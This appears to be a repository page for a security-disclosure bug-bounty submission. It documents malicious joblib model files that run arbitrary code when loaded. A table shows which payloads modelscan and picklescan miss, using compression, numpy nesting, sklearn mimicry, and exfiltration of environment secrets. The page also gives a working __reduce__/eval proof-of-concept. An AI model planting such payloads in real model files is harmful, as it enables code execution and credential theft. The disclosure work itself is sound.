Views
No views yet
WARNING: These files are intentionally malicious model files created for authorized security research. DO NOT load them withjoblib.load()outside of a sandboxed environment. They execute arbitrary code.
.joblib files demonstrate that existing model file scanners (picklescan, modelscan) fail to detect malicious payloads in Joblib model files. This is a responsible disclosure artifact for the huntr MFV program.| Payload | Evasion Technique | modelscan 0.8.8 | picklescan 1.0.4 | RCE? |
|---|---|---|---|---|
payload1_zlib_rce.joblib | zlib compression | MISSED | 0 globals (false neg) | Yes |
payload2_lzma_rce.joblib | LZMA compression | MISSED | 0 globals (false neg) | Yes |
payload3_hidden_in_numpy.joblib | Nested in numpy array | MISSED | 0 globals (false neg) | Yes |
payload4_uncompressed.joblib | Baseline (no compression) | Detected | Detected | Yes |
payload5_exfil_secrets.joblib | Credential exfiltration | MISSED | 0 globals (false neg) | Yes |
payload6_fake_pipeline.joblib | sklearn Pipeline mimicry | MISSED | 0 globals (false neg) | Yes |
payload1_zlib_rce.joblib — Standard __reduce__ RCE, zlib compressed. Scanners must decompress to detect.payload2_lzma_rce.joblib — Same payload, LZMA compression. Scanners expecting zlib miss this.payload3_hidden_in_numpy.joblib — RCE object hidden inside numpy.ndarray(dtype=object) within a dict that mimics an sklearn model (weights, biases, metadata).payload4_uncompressed.joblib — No compression. Control sample — scanners should catch this.payload5_exfil_secrets.joblib — Exfiltrates environment variables matching KEY/SECRET/TOKEN/PASS patterns.payload6_fake_pipeline.joblib — Payload disguised as sklearn Pipeline with a StandardScaler-like class that has legitimate mean_/scale_ attributes.__reduce__ protocol to execute code when deserialized:1class Evil:
2 def __reduce__(self):
3 return (eval, ("__import__('os').popen('id').read()",))
4
5joblib.dump(Evil(), "payload.joblib", compress=('zlib', 9))
6# Loading this file executes 'id' on the host:
7result = joblib.load("payload.joblib") # → "uid=1000(user) ...".joblib files from untrusted sources